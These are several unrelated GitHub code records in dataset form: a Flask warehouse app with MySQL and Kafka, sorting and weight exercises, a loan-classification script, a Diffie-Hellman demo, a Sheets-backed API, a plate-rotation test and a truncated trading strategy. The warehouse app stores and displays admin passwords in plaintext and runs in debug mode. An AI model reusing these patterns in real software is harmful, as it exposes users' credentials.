methods=[\"GET\", \"POST\"])\ndef supplierdelete():\n if \"username\" in session:\n username = session[\"username\"]\n form = SupplierDeleteForm()\n if form.validate_on_submit():\n code = request.form[\"code\"]\n _datetime = dtnow()\n _username = str(username)\n _code = str(code)\n delsup = \" deleted supplier code \" + _code\n cur = ksql.cursor()\n cur.execute(\"SELECT SupplierCode FROM Supplier WHERE SupplierCode = %s\", (code,))\n exist = cur.fetchall()\n if not exist:\n flash(\"Code does not exist! Please enter another supplier code.\")\n return redirect(url_for(\"supplierdelete\"))\n else:\n cur.execute(\"DELETE FROM Supplier WHERE SupplierCode = %s\", (code,))\n ksql.commit()\n flash(\"Supplier deleted!\")\n delsupdict = {\"User\": _username, \"Activity\": delsup, \"time\": _datetime}\n jsonproducer.send(\"supplierinfo\", delsupdict)\n return redirect(url_for(\"suppliermenu\"))\n return render_template(\"supplierdelete.html\", form=form)\n else:\n return redirect(url_for(\"login\"))\n\n# Supplier Search\n#@app.route(\"/suppliersearch\", methods=[\"GET\", \"POST\"])\n#def suppliersearch():\n# if \"username\" in session:\n# username = session[\"username\"]\n# form = SupplierSearchForm()\n# if form.validate_on_submit():\n# return redirect(url_for(\"suppliersearch\"))\n# return render_template(\"suppliersearch.html\", form=form)\n# else:\n# return redirect(url_for(\"login\"))\n\n# Supplier View\n@app.route(\"/supplierview\", methods=[\"GET\", \"POST\"])\ndef supplierview():\n if \"username\" in session:\n username = session[\"username\"]\n headings = (\"Supplier Code\", \"Supplier Name\", \"Supplier Phone\", \"Supplier Address\")\n cur = ksql.cursor(buffered=True)\n cur.execute(\"SELECT * FROM Supplier LIMIT 1\")\n exist = cur.fetchall()\n if not exist:\n flash(\"No suppliers saved!\")\n return redirect(url_for(\"suppliermenu\"))\n else:\n cur.execute(\n \"SELECT SupplierCode, SupplierName, SupplierPhone, SupplierAddress FROM Supplier\")\n data = cur.fetchall()\n return render_template(\"supplierview.html\", headings=headings, data=data)\n else:\n return redirect(url_for(\"login\"))\n\n# Supplier Update\n@app.route(\"/supplierupdate\", methods=[\"GET\", \"POST\"])\ndef supplierupdate():\n if \"username\" in session:\n username = session[\"username\"]\n form = SupplierUpdateForm()\n if form.validate_on_submit():\n code = request.form[\"code\"]\n name = request.form[\"name\"]\n phone = request.form[\"phone\"]\n address = request.form[\"address\"]\n _datetime = dtnow()\n _username = str(username)\n _code = str(code)\n upsup = \" updated supplier code \" + _code\n cur = ksql.cursor()\n cur.execute(\"SELECT SupplierCode FROM Supplier WHERE SupplierCode = %s\", (code,))\n exist = cur.fetchall()\n if not exist:\n flash(\"Code does not exist! Please enter another supplier code.\")\n return render_template(\"supplierupdate.html\", form=form)\n else:\n cur.execute(\"UPDATE Supplier SET SupplierName = %s, SupplierPhone = %s, SupplierAddress = %s WHERE SupplierCode = %s\", (name, phone, address, code))\n ksql.commit()\n flash(\"Supplier updated!\")\n upsupdict = {\"User\": _username, \"Activity\": upsup, \"time\": _datetime}\n jsonproducer.send(\"supplierinfo\", upsupdict)\n return redirect(url_for(\"suppliermenu\"))\n return render_template(\"supplierupdate.html\", form=form)\n else:\n return redirect(url_for(\"login\"))\n\n# ===========================\n# Admin Add\n@app.route(\"/adminadd\", methods=[\"GET\", \"POST\"])\ndef adminadd():\n if \"username\" in session:\n username = session[\"username\"]\n form = AdminAddForm()\n if form.validate_on_submit():\n req = request.form\n name = request.form[\"name\"]\n username1 = request.form[\"username\"]\n password = request.form[\"password\"]\n phone = request.form[\"phone\"]\n email = request.form[\"email\"]\n address = request.form[\"address\"]\n type = \"Admin\"\n _datetime = dtnow()\n _username = str(username)\n _username1 = str(username1)\n addadm = \" added admin username \" + _username1\n cur = ksql.cursor()\n cur.execute(\"SELECT Username FROM Admin WHERE Username = %s\", (username1,))\n exist = cur.fetchall()\n if not exist:\n cur.execute(\"INSERT INTO Admin (FullName, Username, AdminPW, AdminPhone, AdminAddress, AdminEmail, Type) VALUES (%s, %s, %s, %s, %s, %s, %s)\", (name, username1, password, phone, address, email, type))\n ksql.commit()\n flash(\"Admin account created!\")\n addadmindict = {\"User\": _username, \"Activity\": addadm, \"time\": _datetime}\n jsonproducer.send(\"admininfo\", addadmindict)\n return redirect(url_for(\"adminmenu\"))\n else:\n flash(\"Username exists! Please enter another username.\")\n return redirect(url_for(\"adminadd\"))\n return render_template(\"adminadd.html\", form=form)\n else:\n return redirect(url_for(\"login\"))\n\n# Admin Delete\n@app.route(\"/admindelete\", methods=[\"GET\", \"POST\"])\ndef admindelete():\n if \"username\" in session:\n username = session[\"username\"]\n form = AdminDeleteForm()\n if form.validate_on_submit():\n username1 = request.form[\"username\"]\n _datetime = dtnow()\n _username = str(username)\n _username1 = str(username1)\n deladm = \" deleted admin username \" + _username1\n cur = ksql.cursor()\n cur.execute(\"SELECT Username FROM Admin WHERE Username = %s\", (username1,))\n exist = cur.fetchall()\n if not exist:\n flash(\"Admin account does not exist! Please enter another username.\")\n\n return redirect(url_for(\"admindelete\"))\n else:\n cur.execute(\"DELETE FROM Admin WHERE Username = %s\", (username1,))\n ksql.commit()\n flash(\"Admin deleted!\")\n deladmindict = {\"User\": _username, \"Activity\": deladm, \"time\": _datetime}\n jsonproducer.send(\"admininfo\", deladmindict)\n return redirect(url_for(\"adminmenu\"))\n return render_template(\"admindelete.html\", form=form)\n else:\n return redirect(url_for(\"login\"))\n\n# Admin Search\n#@app.route(\"/adminsearch\", methods=[\"GET\", \"POST\"])\n#def adminsearch():\n# if \"username\" in session:\n# username = session[\"username\"]\n# form = AdminSearchForm()\n# if form.validate_on_submit():\n# return redirect(url_for(\"adminsearch\"))\n# return render_template(\"adminsearch.html\", form=form)\n# else:\n# return redirect(url_for(\"login\"))\n\n# Admin View\n@app.route(\"/adminview\", methods=[\"GET\", \"POST\"])\ndef adminview():\n if \"username\" in session:\n username = session[\"username\"]\n headings = (\"Username\", \"FullName\", \"Password\", \"Phone Number\", \"Home Address\", \"Email Address\")\n cur = ksql.cursor(buffered=True)\n cur.execute(\"SELECT * FROM Admin LIMIT 1\")\n exist = cur.fetchall()\n if not exist:\n flash(\"No admin accounts!\")\n return redirect(url_for(\"adminmenu\"))\n else:\n cur.execute(\"SELECT Username, FullName, AdminPW, AdminPhone, AdminAddress, AdminEmail FROM Admin\")\n data = cur.fetchall()\n return render_template(\"adminview.html\", headings=headings, data=data)\n else:\n return redirect(url_for(\"login\"))\n\n# Admin Update\n@app.route(\"/adminupdate\", methods=[\"GET\", \"POST\"])\ndef adminupdate():\n if \"username\" in session:\n username = session[\"username\"]\n form = AdminUpdateForm()\n if form.validate_on_submit():\n name = request.form[\"name\"]\n username1 = request.form[\"username\"]\n password = request.form[\"password\"]\n phone = request.form[\"phone\"]\n email = request.form[\"email\"]\n address = request.form[\"address\"]\n _datetime = dtnow()\n _username = str(username)\n _username1 = str(username1)\n upadm = \" updated admin username \" + _username1\n cur = ksql.cursor()\n cur.execute(\"SELECT Username FROM Admin WHERE Username = %s\", (username1,))\n exist = cur.fetchall()\n if not exist:\n flash(\"Username does not exist! Please enter another username.\")\n return render_template(\"adminupdate.html\", form=form)\n else:\n cur.execute(\"UPDATE Admin SET FullName = %s, AdminPW = %s, AdminPhone = %s, AdminAddress = %s, AdminEmail = %s WHERE Username = %s\", (name, password, phone, address, email, username1))\n ksql.commit()\n flash(\"Admin account updated!\")\n upadmindict = {\"User\": _username, \"Activity\": upadm, \"time\": _datetime}\n jsonproducer.send(\"admininfo\", upadmindict)\n return redirect(url_for(\"adminmenu\"))\n return render_template(\"adminupdate.html\", form=form)\n else:\n return redirect(url_for(\"login\"))\n\n# ===========================\n# View Stock\n@app.route(\"/viewstock\", methods=[\"GET\", \"POST\"])\ndef viewstock():\n if \"username\" in session:\n username = session[\"username\"]\n headings = (\"StockSKU\", \"StockName\", \"Supplier Code\", \"Quantity (Current)\", \"Date\", \"Time\")\n cur = ksql.cursor(buffered=True)\n cur.execute(\"SELECT * FROM Stock LIMIT 1\")\n exist = cur.fetchall()\n if not exist:\n flash(\"No stocks in the warehouse!\")\n return redirect(url_for(\"adminhome\"))\n else:\n cur.execute(\"SELECT StockSKU, StockName, SupplierCode, QuantityCurrent, DateIn, TimeIn FROM Stock\")\n data = cur.fetchall()\n return render_template(\"viewstock.html\", headings=headings, data=data)\n # return render_template(\"adminhome.html\")\n else:\n return redirect(url_for(\"login\"))\n\n# ===========================\n# View Admin Profile\n@app.route(\"/adminprofile\", methods=[\"GET\", \"POST\"])\ndef adminprofile():\n if \"username\" in session:\n username = session[\"username\"]\n cur = ksql.cursor(buffered=True)\n cur.execute(\"SELECT Username, FullName, AdminPW, AdminPhone, AdminAddress, AdminEmail FROM Admin WHERE Username = %s\", (username,))\n userfound = cur.fetchone()\n ksql.commit()\n return render_template(\"adminprofile.html\", userfound=userfound)\n else:\n return redirect(url_for(\"login\"))\n\n# View supervisor Profile\n@app.route(\"/supervisorprofile\", methods=[\"GET\", \"POST\"])\ndef supervisorprofile():\n if \"username\" in session:\n username = session[\"username\"]\n cur = ksql.cursor(buffered=True)\n cur.execute(\"SELECT Username, FullName, SupervisorPW, SupervisorPhone, SupervisorAddress, SupervisorEmail FROM Supervisor WHERE Username = %s\", (username,))\n userfound = cur.fetchone()\n ksql.commit()\n return render_template(\"supervisorprofile.html\", userfound=userfound)\n else:\n return redirect(url_for(\"login\"))\n\n# View Stock Return\n@app.route(\"/viewstockreturn\", methods=[\"GET\", \"POST\"])\ndef viewstockreturn():\n if \"username\" in session:\n username = session[\"username\"]\n headings = (\"StockSKU\", \"StockName\", \"SupplierCode\", \"Quantity (Outgoing)\", \"Date\", \"Time\", \"Reason\")\n cur = ksql.cursor(buffered=True)\n cur.execute(\"SELECT * FROM Stock LIMIT 1\")\n exist = cur.fetchall()\n if not exist:\n flash(\"No stocks in the warehouse!\")\n return redirect(url_for(\"supervisorhome\"))\n else:\n cur.execute(\"SELECT StockSKU, StockName, SupplierCode, QuantityOutgoing, DateOut, TimeOut, Reason FROM Stock\")\n data = cur.fetchall()\n return render_template(\"viewstockreturn.html\", headings=headings, data=data)\n # return render_template(\"viewstockreturn.html\")\n else:\n return redirect(url_for(\"login\"))\n\n\n# ===========================\n# View Monthly Report\n@app.route(\"/viewreport\", methods=[\"GET\", \"POST\"])\ndef viewreport():\n if \"username\" in session:\n username = session[\"username\"]\n return render_template(\"viewreport.html\")\n else:\n return redirect(url_for(\"login\"))\n\n@app.route(\"/adjustmentout\", methods=[\"GET\", \"POST\"])\ndef adjustmentout():\n if \"username\" in session:\n username = session[\"username\"]\n # fetch all supplier code\n cur = ksql.cursor()\n cur.execute(\"SELECT SupplierCode FROM Supplier\")\n supplyexist = cur.fetchall()\n cur.close()\n\n # fetch all stock sku\n cur = ksql.cursor()\n cur.execute(\"SELECT StockSKU FROM Stock\")\n stockexist = cur.fetchall()\n cur.close()\n\n sku = request.form.get(\"sku\")\n name = request.form.get(\"name\")\n code = request.form.get(\"code\")\n quantity = request.form.get(\"quantity\")\n reason = request.form.get(\"reason\")\n today = date.today()\n curdate = today.strftime(\"%Y-%m-%d\")\n now = datetime.now()\n curtime = now.strftime(\"%H:%M:%S\")\n\n _datetime = dtnow()\n _username = str(username)\n _sku = str(sku)\n _quantity = int(quantity)\n _remark = str(reason)\n _code = str(code)\n activity = \"adjustment out to\" + _code\n\n if request.method == \"POST\":\n # check if stock sku\n cur = ksql.cursor()\n cur.execute(\"SELECT StockSKU FROM Stock WHERE StockSKU = %s\", (sku,))\n exist = cur.fetchall()\n cur.close()\n # check if stock sku exist\n if not exist:\n empty = 0\n # insert new stock sku\n # should enter a valid stock sku\n cur = ksql.cursor()\n cur.execute(\"INSERT INTO Stock (StockSKU, StockName, SupplierCode, QuantityCurrent, QuantityOutgoing, DateOut, TimeOut, Reason) VALUES (%s, %s, %s, %s, %s, %s, %s, %s)\",(sku, name, code, empty, quantity, curdate, curtime, reason))\n ksql.commit()\n cur.close()\n flash(\"Successfully sent stocks!\")\n return redirect(url_for(\"supervisorhome\"))\n elif not quantity or not quantity.isnumeric() or int(quantity) <= 0:\n flash(\"Please enter a valid quantity.\")\n return render_template(\"adjustmentout.html\", supplyexist=supplyexist, stockexist=stockexist)\n elif not supplyexist:\n flash(\"Code does not exist! Please select a valid supplier code.\")\n return render_template(\"adjustmentout.html\", supplyexist=supplyexist, stockexist=stockexist)\n else:\n # check for stock sku\n cur = ksql.cursor()\n cur.execute(\"SELECT StockSKU FROM Stock WHERE StockSKU = %s\", (sku,))\n cur.fetchall()\n cur.close()\n\n # check is outgoing quantity is NULL\n # record outgoing quantity\n cur = ksql.cursor()\n cur.execute(\"SELECT QuantityOutgoing FROM Stock WHERE QuantityOutgoing IS NULL\")\n dataout = cur.fetchall()\n if not dataout:\n flash(\"False Error\")\n return render_template(\"adjustmentout.html\", supplyexist=supplyexist, stockexist=stockexist)\n else:\n # insert value\n cur = ksql.cursor()\n cur.execute(\"SELECT QuantityOutgoing FROM Stock WHERE StockSKU = %s\", (sku,))\n data = cur.fetchone()\n result = int(quantity) + int(data[0])\n cur.close()\n\n cur = ksql.cursor()\n cur.execute(\n \"Update Stock SET QuantityOutgoing = %s, DateOut = %s, TimeOut = %s, Reason = %s WHERE StockSKU = %s\",\n (result, curdate, curtime, reason, sku))\n ksql.commit()\n cur.close()\n flash(\"Outgoing stocks successfully sent!\")\n adjustmentoutdict = {\"User\": _username, \"Activity\": activity, \"time\": _datetime, \"Quantity\": _quantity, \"Product\": _sku, \"Remark\": _remark}\n jsonproducer.send(\"adjustmentinfo\", adjustmentoutdict)\n return redirect(url_for(\"supervisorhome\"))\n else:\n return render_template(\"adjustmentout.html\", supplyexist=supplyexist, stockexist=stockexist)\n else:\n return redirect(url_for(\"login\"))\n\n#=========================================================\n#kafka\n@app.route(\"/kafka\", methods = [\"GET\",\"POST\"])\ndef kafka():\n consumer = KafkaConsumer(bootstrap_servers=['localhost:9092'])\n topics = consumer.topics()\n topic = list(topics)\n\n #check kafka consumer status\n print(topics)\n if not topics:\n server_status = \"server not running\"\n else:\n server_status = \"Server running\"\n\n\n return render_template('consumer.html', server_status = server_status, len = len(topic),\n topic = topic)\n\n\n\n#consume and send to sql\n@app.route(\"/topicsearch\", methods=[\"GET\", \"POST\"])\ndef topicsearch():\n\n #list topics and show server status\n consumermain = KafkaConsumer(bootstrap_servers=['localhost:9092'])\n topics = consumermain.topics()\n topic = list(topics)\n if not topics:\n server_status = \"server not running\"\n else:\n server_status = \"Server running\"\n\n form = TopicForm()\n if request.method == \"POST\":\n\n #if form.validate_on_submit():\n #print(\"not consumed\")\n\n #topic = request.form[\"topic\"]\n #cur1 = ksql.cursor()\n #consumer = KafkaConsumer(topic, bootstrap_servers=[\"localhost:9092\"],\n #auto_offset_reset=\"earliest\", enable_auto_commit=True,\n #consumer_timeout_ms=1000,\n #value_deserializer=lambda m: json.loads(m.decode(\"utf-8\"))\n #)\n #for i in consumer:\n #message = i.value\n #_message = str(message)\n #if \"Quantity\" in message:\n #msgdct = {\"User\": message[\"User\"], \"Activity\": message[\"Activity\"], \"time\": message[\"time\"],\n #\"Quantity\": message[\"Quantity\"], \"Product\": message[\"Product\"] , \"Remark\":message[\"Remark\"] }\n #print(\"test1: \" + _message)\n #cur1.execute(\"INSERT IGNORE INTO topic (user, activity, date, quantity, topic, product, remark) VALUES(%s,%s,%s,%s,%s,%s,%s)\",\n #(msgdct[\"User\"], msgdct[\"Activity\"], msgdct[\"time\"], msgdct[\"Quantity\"], topic, msgdct[\"Product\"], msgdct[\"Remark\"],))\n\n\n #else:\n #msgdct = {\"User\": message[\"User\"], \"Activity\": message[\"Activity\"], \"time\": message[\"time\"]}\n #print(\"test2: \" + _message)\n #cur1.execute(\"INSERT IGNORE INTO topic (user, activity, date, topic) VALUES(%s,%s,%s,%s)\",\n #(msgdct[\"User\"], msgdct[\"Activity\"], msgdct[\"time\"], topic,))\n\n #print(\" consumed\")\n #ksql.commit()\n\n return redirect(url_for('topicselect'))\n return render_template(\"topicsearch.html\", server_status = server_status, len = len(topic), topic = topic)\n\n\n# topic select\n@app.route('/topicselect', methods=['GET', 'POST'])\ndef topicselect():\n\n if request.method == 'POST':\n topic = request.form.get('topic')\n cur1 = ksql.cursor()\n consumer = KafkaConsumer(topic, bootstrap_servers=[\"localhost:9092\"],\n auto_offset_reset=\"earliest\", enable_auto_commit=True,\n consumer_timeout_ms=1000,\n value_deserializer=lambda m: json.loads(m.decode(\"utf-8\"))\n )\n for i in consumer:\n message = i.value\n _message = str(message)\n if \"Quantity\" in message:\n msgdct = {\"User\": message[\"User\"], \"Activity\": message[\"Activity\"], \"time\": message[\"time\"],\n \"Quantity\": message[\"Quantity\"], \"Product\": message[\"Product\"] , \"Remark\":message[\"Remark\"] }\n print(\"test1: \" + _message)\n cur1.execute(\"INSERT IGNORE INTO topic (user, activity, date, quantity, topic, product, remark) VALUES(%s,%s,%s,%s,%s,%s,%s)\",\n (msgdct[\"User\"], msgdct[\"Activity\"], msgdct[\"time\"], msgdct[\"Quantity\"], topic, msgdct[\"Product\"], msgdct[\"Remark\"],))\n ksql.commit()\n else:\n msgdct = {\"User\": message[\"User\"], \"Activity\": message[\"Activity\"], \"time\": message[\"time\"]}\n print(\"test2: \" + _message)\n cur1.execute(\"INSERT IGNORE INTO topic (user, activity, date, topic) VALUES(%s,%s,%s,%s)\",\n (msgdct[\"User\"], msgdct[\"Activity\"], msgdct[\"time\"], topic,))\n ksql.commit()\n # for the headers in the table\n\n heading1 = (\"User\", \"Date\", \"Activity, Quantity, Product, Remark\")\n #heading1 = (\"User\", \"Date\", \"Activity, Quantity\")\n heading = (\"User\", \"Date\", \"Activity\")\n cur = ksql.cursor(buffered=True)\n cur.execute(\"SELECT quantity FROM topic WHERE topic = %s\", (topic,))\n exist = cur.fetchone()\n if \"None\" in str(exist):\n print(exist)\n cur.execute(\"SELECT user, date, activity FROM topic WHERE topic = %s\", (topic,))\n record = cur.fetchall()\n return render_template(\"topicselect.html\", record=record, heading=heading)\n else:\n print(exist)\n cur.execute(\"SELECT user, date, activity, quantity, product, remark FROM topic WHERE topic = %s\", (topic,))\n record = cur.fetchall()\n return render_template(\"topicselect.html\", record=record, heading=heading1)\n\n return render_template('topicselect.html')\n\n\nif __name__ ==\"__main__\":\n app.run(debug = True)","repo_name":"FYP-21-S4-11/Warehouse-Management","sub_path":"flasktest.py","file_name":"flasktest.py","file_ext":"py","file_size_in_byte":49149,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"6413843849","text":"dust_data = []\nfor i in range(5):\n dust_data.append(int(input()))\n\n# 선택 정렬\n\n\ndef selection_sort(a):\n for i in range(0, len(a)):\n minimum = i\n for j in range(i, len(a)):\n if a[minimum] > a[j]:\n minimum = j\n a[i], a[minimum] = a[minimum], a[i]\n return a\n\n# 삽입 정렬\n\n\ndef insertion_sort(a):\n for i in range(1, len(a)):\n for j in range(i, 0, -1):\n if a[j-1] > a[j]:\n a[j], a[j-1] = a[j-1], a[j]\n return a\n\n\n# 오름차순 정렬하세요.\nsort_data = dust_data\nprint(insertion_sort(sort_data))\n","repo_name":"mjhbest/KAIST-ITA","sub_path":"Data_Structure_and_Algorithm/May23th/FindDustSort.py","file_name":"FindDustSort.py","file_ext":"py","file_size_in_byte":599,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"41358810705","text":"import pandas as pd\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.decomposition import PCA\nfrom sklearn import preprocessing\nimport pickle\n\n\n# loading the dataset\ndata = pd.read_csv('updated_data.csv')\ndf = data[['AvailableBankcardCredit', 'BankcardUtilization', 'BorrowerAPR',\n 'BorrowerRate', 'DebtToIncomeRatio', 'DelinquenciesLast7Years',\n 'EmploymentStatus', 'EmploymentStatusDuration',\n 'EstimatedEffectiveYield', 'EstimatedLoss', 'EstimatedReturn',\n 'IncomeRange', 'Investors', 'LenderYield', 'LoanOriginalAmount',\n 'LoanOriginationQuarter', 'LoanStatus', 'Occupation',\n 'OpenRevolvingMonthlyPayment',\n 'ProsperScore', 'RevolvingCreditBalance', 'StatedMonthlyIncome', 'Term',\n 'TotalCreditLinespast7years', 'TotalTrades']]\n\n\n# one hot encoding\n# Listing the columns with object datatype\ncol = df.dtypes[df.dtypes == 'object'].index\n\ndf_num = pd.get_dummies(data=df, columns=col, drop_first=True)\ndf = df_num\n\n# Dependent variable\ny = df['LoanStatus']\n# Independent variable\nX = df.drop(['LoanStatus'], axis=1)\nprint(X)\nscaler = preprocessing.StandardScaler().fit(X)\nX_scaled = scaler.transform(X)\n# Create principal components\npca = PCA()\npca.fit(X_scaled)\nX_pca = pca.transform(X_scaled)\n\n\nLR = LogisticRegression(solver='liblinear')\n\nLR = LR.fit(X_pca, y)\n\npickle.dump(LR, open('LR_pickle.pkl', 'wb'))\npickle.dump(pca, open('pca_pickle.pkl', 'wb'))\npickle.dump(scaler, open('scaler_pickle.pkl', 'wb'))","repo_name":"chezhian0599/Customer-Classification","sub_path":"model-building.py","file_name":"model-building.py","file_ext":"py","file_size_in_byte":1501,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11905312071","text":"\"\"\" Faça um programa que leia o peso de cinco pessoas. No final, mostre qual foi\no maior e o menor peso lidos \"\"\"\npesoMaior = 0\npesoMenor = 0\nfor pessoa in range(1, 6):\n peso = float(input(f\"Digite o peso da {pessoa}ª pessoa: \"))\n if pessoa == 1: # primeiro peso é o maior o menor\n pesoMaior = peso\n pesoMenor = peso\n else:\n if peso > pesoMaior:\n pesoMaior = peso\n if peso < pesoMenor:\n pesoMenor = peso\n\n\nprint(f\"O maior peso é {pesoMaior:.1f}Kg e o menor peso é {pesoMenor:.1f}Kg\")\n\n","repo_name":"JulianoMata/curso_guanabara_mundo02","sub_path":"Python3-Mundo02/Repeticoes_For/exercicio_055.py","file_name":"exercicio_055.py","file_ext":"py","file_size_in_byte":556,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"19268751411","text":"import random\n\nq = int(input(\"Enter prime number: \"))\na = int(input(\"Enter the primitive root of q: \"))\n\nxa = 36#random.randint(1, q)\nxb = 58#random.randint(1, q)\nprint(\"Private key of A is: {} and private jey of B is: {}\".format(xa, xb))\n\nya = pow(a,xa) % q\nyb = pow(a,xb) % q\nprint(\"Public key of A is: {} and public key for B is: {}\".format(ya, yb))\n\n\nka = pow(yb,xa) % q\nkb = pow(ya,xb) % q\nprint(\"Shared secret key are: {} and {}\".format(ka, kb))\n","repo_name":"EkeswarReddy/cns","sub_path":"diffi.py","file_name":"diffi.py","file_ext":"py","file_size_in_byte":452,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7665266947","text":"from flask import Flask, Blueprint, jsonify, request\nimport gspread\nimport pandas as pd\nfrom flask_cors import CORS\n\napp = Flask(__name__)\nCORS(app)\n\ndetail_regis = Blueprint('detail_regis', __name__)\n\n# Load the Google Sheets service account credentials\nsa = gspread.service_account(filename='sibedaspbg-logbook-cab4b99bdcae.json')\n\n# Open the spreadsheet\nsp = sa.open('rekap pbg')\nsh = sp.worksheet('logbook')\n\n# Fetch data from the spreadsheet and process it\ndef fetch_data_by_no_registrasi(no_registrasi):\n data = sh.get_all_values()[1:]\n columns = sh.get_all_values()[0]\n logb = pd.DataFrame(data, columns=columns)\n \n if no_registrasi in logb['No. Registrasi'].values:\n result = logb[logb['No. Registrasi'] == no_registrasi]\n return result\n else:\n return None\n\n@detail_regis.route('/', methods=['GET'])\ndef get_data():\n data = fetch_data()\n return jsonify(data.to_dict(orient='records'))\n\n@detail_regis.route('/search', methods=['GET'])\ndef search_data():\n no_registrasi = request.args.get('no_registrasi')\n if no_registrasi:\n result = fetch_data_by_no_registrasi(no_registrasi)\n if result is not None:\n return jsonify(result.to_dict(orient='records'))\n else:\n return \"Nomor Registrasi tidak ditemukan.\"\n else:\n return \"Masukkan Nomor Registrasi untuk pencarian.\"\n\napp.register_blueprint(detail_regis, url_prefix='/api/detail')\n\nif __name__ == '__main__':\n app.run(debug=False)\n","repo_name":"Encepihwan98/api-puprbdg","sub_path":"apiDetailRegis.py","file_name":"apiDetailRegis.py","file_ext":"py","file_size_in_byte":1490,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"6997156900","text":"#!/usr/bin/env python3\n# use gplately conda env to run\n# conda create -n my-env gplately\nimport json\nimport math\nimport os\nimport random\n\nimport pygplates\nimport quaternions\nimport requests\nfrom plate_model_manager import PlateModelManager\n\n\ndef main():\n SERVER_URL = os.getenv(\"GWS_SERVER_URL\")\n if not SERVER_URL:\n SERVER_URL = \"https://gws.gplates.org\"\n print(f\"Using server URL in script {SERVER_URL}\")\n else:\n print(f\"Using server URL in environment variable {SERVER_URL}\")\n\n time = 100.0\n\n # get all the plate IDs in the reconstruction tree at 100Ma\n url = f\"{SERVER_URL}/rotation/get_plate_ids?time=100\"\n r = requests.get(url)\n pids = json.loads(r.text)\n # print(pids)\n\n # pick up a random plate ID from above plate IDs\n random_pid = pids[random.randint(0, len(pids) - 1)]\n # print(random_pid)\n\n # define a random test point\n test_point = [random.randint(-90, 90), random.randint(-180, 180)] # lat, lon\n\n mgr = PlateModelManager()\n model = mgr.get_model(\"SETON2012\")\n rotation_model = pygplates.RotationModel(model.get_rotation_model())\n\n # rotate the test point with pygplates\n rotated_points = rotation_model.get_rotation(\n float(time), random_pid\n ) * pygplates.PointOnSphere(test_point)\n print(\"pygplates:\")\n print(rotated_points.to_lat_lon())\n\n # rotate with euler pole and angle\n url = (\n f\"{SERVER_URL}/rotation/get_euler_pole_and_angle?times={time}&pids={random_pid}\"\n )\n # print(url)\n r = requests.get(url)\n pole_and_angle = json.loads(r.text)\n pole_and_angle = pole_and_angle[str(float(time))][str(random_pid)]\n print(\"euler pole and angle:\")\n print(\n quaternions.rotate(\n test_point, [pole_and_angle[1], pole_and_angle[0]], pole_and_angle[2]\n ) # test point[lat,lon], pole[lat, lon], angle(degree)\n )\n\n # rotate with quaternions\n url = f\"{SERVER_URL}/rotation/get_quaternions?times={time}&pids={random_pid}\"\n # print(url)\n r = requests.get(url)\n quat = json.loads(r.text)\n quat = quat[str(float(time))][str(random_pid)]\n v = quaternions.lat_lon_to_cart(\n math.radians(test_point[0]), math.radians(test_point[1])\n )\n ret = quaternions.quat_vec_mult(quat, v)\n ret_lat_lon = quaternions.cart_to_lat_lon(ret[0], ret[1], ret[2])\n print(\"quaternions:\")\n print(math.degrees(ret_lat_lon[0]), math.degrees(ret_lat_lon[1]))\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"GPlates/gplates-web-service","sub_path":"examples/test_finite_rotation.py","file_name":"test_finite_rotation.py","file_ext":"py","file_size_in_byte":2473,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"61"} +{"seq_id":"27919274936","text":"import pandas as pd\nimport pandas_ta as pdta\nfrom online_trading_APIs.xtb.download_csv_xtb import get_dataframe\nfrom strategies.utilities import atr_based_stoploss\nfrom datetime import date, timedelta\nimport logging\n\n\n# logger properties\nlogger = logging.getLogger(\"jsonSocket\")\nFORMAT = '[%(asctime)-15s] %(message)s'\nlogging.basicConfig(format=FORMAT)\n\n\nclass InsideBarDailyBase():\n def __init__(self, symbol, period):\n # parameters\n self.direction = None\n\n self.symbol = symbol\n self.period = period\n self.transaction_state = 'closed'\n self.direction = None\n\n def next(self, dataframe_logic, client, ssid):\n # put here all indicators you want to plot in Gregtraider\n self.plot_indicators_dict = {}\n self.dataframe_logic = dataframe_logic\n\n self.find_inside_bar(self.dataframe_logic)\n\n def find_inside_bar(self, dataframe):\n # to avoid calculations if during handling opened position\n if self.transaction_state == 'opened':\n return\n logger.info('checking strategy for ' + self.symbol)\n current_bar_idx, prev_bar_idx = self.get_bar_indexes(dataframe)\n # check if current bar is inside bar\n if not (dataframe['Low'][current_bar_idx] >= dataframe['Low'][prev_bar_idx] and \\\n dataframe['High'][current_bar_idx] <= dataframe['High'][prev_bar_idx]):\n return\n self.inside_bar_idx = current_bar_idx\n self.outside_bar_idx = prev_bar_idx\n\n # length filter\n self.calculate_bar_lengthes(dataframe)\n #if not self.length_filter():\n # return\n logger.info('Raw inside bar found, ' + self.symbol)\n # direction filter\n self.direction = self.close_price_direction_filter(dataframe)\n if self.direction is None: return\n logger.info('Filtered inside bar found, ' + self.symbol)\n if self.direction == 'down':# and self.slient == None # check if some price not subscribed already\n self.open_trsh = dataframe['Low'][self.inside_bar_idx] - 0.02 * self.inside_bar_length\n self.opposite_trsh = dataframe['High'][self.inside_bar_idx]\n self.transaction_state = 'ready for open'\n elif self.direction == 'up':\n self.open_trsh = dataframe['High'][self.inside_bar_idx] + 0.02 * self.inside_bar_length\n self.opposite_trsh = dataframe['Low'][self.inside_bar_idx]\n self.transaction_state = 'ready for open'\n\n # filters if inside bar is 2 times smaller than outside\n def length_filter(self):\n return self.outside_bar_length >= 2 * self.inside_bar_length\n\n def calculate_bar_lengthes(self, dataframe):\n self.inside_bar_length = dataframe['High'][self.inside_bar_idx] - dataframe['Low'][self.inside_bar_idx]\n self.outside_bar_length = dataframe['High'][self.outside_bar_idx] - dataframe['Low'][self.outside_bar_idx]\n\n # checks if close prise is close enough to one of the candle edges\n def close_price_direction_filter(self, dataframe):\n if dataframe['Close'][self.inside_bar_idx] - dataframe['Low'][self.inside_bar_idx] < 0.35 * self.inside_bar_length:\n return 'down'\n elif dataframe['High'][self.inside_bar_idx] - dataframe['Close'][self.inside_bar_idx] < 0.35 * 